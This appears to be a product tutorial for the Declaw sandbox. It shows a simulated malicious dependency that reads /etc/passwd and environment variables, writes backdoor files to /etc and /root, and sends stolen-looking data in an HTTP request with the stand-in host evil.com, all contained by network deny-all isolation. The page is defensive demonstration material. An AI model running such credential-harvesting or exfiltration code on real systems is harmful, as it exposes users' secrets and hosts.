Skip to main content

What You’ll Learn

  • What a realistic supply chain attack looks like at the code level
  • How allow_internet_access=False creates a network deny-all sandbox
  • Why file reads inside the sandbox are safe (sandbox filesystem, not host filesystem)
  • Why file writes inside the sandbox are safe (ephemeral, destroyed on sbx.kill())
  • The four containment guarantees Declaw provides for malicious code

Prerequisites

  • Declaw running locally or in the cloud (see Deployment)
  • DECLAW_API_KEY and DECLAW_DOMAIN set in your environment
This example is available in Python. TypeScript support coming soon.

Scenario

A malicious dependency has been installed in an agent’s environment. When imported, it tries to:
  1. Read /etc/passwd and environment variables (credential harvesting)
  2. Write backdoors to /etc and /root
  3. Collect system fingerprinting information
  4. Exfiltrate all collected data over the network

Code Walkthrough

1. Create the sandbox with network deny-all

from declaw import Sandbox

sbx = Sandbox.create(
    template="python",
    timeout=300,
    allow_internet_access=False,  # Deny all outbound network traffic
)
allow_internet_access=False is the simplest way to create a fully isolated sandbox. No domain allowlists or denylists needed — all outbound traffic is blocked.

2. The malicious package simulation

This script simulates the four stages of a supply chain attack:
MALICIOUS_PACKAGE_SCRIPT = """\
import os, json, platform

# Stage 1: Read sensitive files
print("[MALICIOUS] Stage 1: Reading sensitive files")
try:
    with open("/etc/passwd") as f:
        content = f.read()
    print(f"  /etc/passwd: READ OK ({len(content)} bytes)")
except Exception as e:
    print(f"  /etc/passwd: FAILED ({e})")

env_vars = dict(os.environ)
print(f"  Environment variables: {len(env_vars)} found")

# Stage 2: Write to system directories
print("[MALICIOUS] Stage 2: Writing to system directories")
for target in ["/tmp/malicious_payload.txt", "/etc/malicious.conf", "/root/.backdoor"]:
    try:
        with open(target, "w") as f:
            f.write("malicious content")
        print(f"  {target}: WRITE OK")
    except Exception as e:
        print(f"  {target}: FAILED ({e})")

# Stage 3: System fingerprinting
print("[MALICIOUS] Stage 3: System fingerprinting")
info = {"hostname": platform.node(), "system": platform.system(), "machine": platform.machine()}
for key, val in info.items():
    print(f"  {key}: {val}")

# Stage 4: Ready to exfiltrate
print("[MALICIOUS] Stage 4: Data ready for exfiltration")
print("  Attempting to phone home...")
"""

3. Network isolation tests

Two TCP socket tests prove network is blocked:
# Basic connectivity test
NET_TEST_SCRIPT = """\
import socket
try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(5)
    s.connect(("1.1.1.1", 80))
    s.close()
    print("CONNECTED")
except Exception as e:
    print(f"BLOCKED: {e}")
"""

# Exfiltration attempt — simulates sending stolen data
EXFIL_SCRIPT = """\
import socket, json

stolen_data = json.dumps({"passwd": "root:x:0:0:...", "api_key": "sk-stolen"})
try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(5)
    s.connect(("93.184.216.34", 80))  # example.com IP
    payload = (
        f"POST /exfil HTTP/1.1\\r\\nHost: evil.com\\r\\n"
        f"Content-Length: {len(stolen_data)}\\r\\n\\r\\n{stolen_data}"
    )
    s.sendall(payload.encode())
    s.close()
    print("EXFILTRATED")
except Exception as e:
    print(f"BLOCKED: {e}")
"""

4. Run and verify

try:
    # Run the malicious simulation
    sbx.files.write("/tmp/malicious_pkg.py", MALICIOUS_PACKAGE_SCRIPT)
    result = sbx.commands.run("python3 /tmp/malicious_pkg.py")
    print(result.stdout)

    # Test 1: Basic TCP
    sbx.files.write("/tmp/net_test.py", NET_TEST_SCRIPT)
    r1 = sbx.commands.run("python3 /tmp/net_test.py", timeout=15)
    print(r1.stdout)  # BLOCKED: ...

    # Test 2: Exfiltration
    sbx.files.write("/tmp/exfil_test.py", EXFIL_SCRIPT)
    r2 = sbx.commands.run("python3 /tmp/exfil_test.py", timeout=15)
    print(r2.stdout)  # BLOCKED: ...

    # Check what the malicious script wrote
    for path in ["/tmp/malicious_payload.txt", "/etc/malicious.conf", "/root/.backdoor"]:
        try:
            content = sbx.files.read(path)
            print(f"  {path}: exists in sandbox ({len(content)} bytes)")
        except Exception:
            print(f"  {path}: not present")
finally:
    sbx.kill()

Expected Output

Scenario: A malicious dependency has been installed...

--- Running Malicious Package Simulation ---

[MALICIOUS] Stage 1: Reading sensitive files
  /etc/passwd: READ OK (1024 bytes)
  Environment variables: 12 found
    HOME=/root
    PATH=/usr/local/sbin:...

[MALICIOUS] Stage 2: Writing to system directories
  /tmp/malicious_payload.txt: WRITE OK
  /etc/malicious.conf: WRITE OK
  /root/.backdoor: WRITE OK

[MALICIOUS] Stage 3: System fingerprinting
  hostname: sandbox-abc123
  system: Linux
  machine: x86_64

[MALICIOUS] Stage 4: Data ready for exfiltration
  Attempting to phone home...

--- Network Isolation Test ---
Test 1: Basic TCP connectivity
  Output: BLOCKED: [Errno 110] Connection timed out
  [PASS] Outbound TCP connection blocked.

Test 2: Data exfiltration attempt
  Output: BLOCKED: [Errno 110] Connection timed out
  [PASS] Data exfiltration blocked.

--- Verifying Sandbox Containment ---
  /tmp/malicious_payload.txt: exists in sandbox (17 bytes)
  /etc/malicious.conf: exists in sandbox (17 bytes)
  /root/.backdoor: exists in sandbox (17 bytes)

Why This Is Safe

1. FILE READS
   The /etc/passwd read succeeded — but it is the SANDBOX's /etc/passwd,
   not the host machine's. Each Firecracker microVM has its own filesystem
   built from the template rootfs. Host files are never accessible.

2. NETWORK
   All outbound connections are blocked by the deny-all policy.
   The stolen data cannot leave the sandbox under any circumstances.

3. FILE WRITES
   Writes to /tmp, /etc, and /root succeed inside the sandbox but are
   ephemeral. When sbx.kill() is called, the microVM is destroyed and
   all written files are gone. No host files are affected.

4. ENVIRONMENT
   Environment variables inside the sandbox are minimal — only variables
   you explicitly pass at sandbox creation time. Host secrets (AWS keys,
   database passwords, CI tokens) are never present in the sandbox env.

Without Declaw

Running the same malicious package on a developer’s machine or CI server would give it:
  • Access to real /etc/passwd and /etc/shadow (host credentials)
  • Access to ~/.aws/credentials, ~/.ssh/id_rsa, and other secret files
  • Full network access to exfiltrate anything it reads
  • Persistent file write access — backdoors survive process exit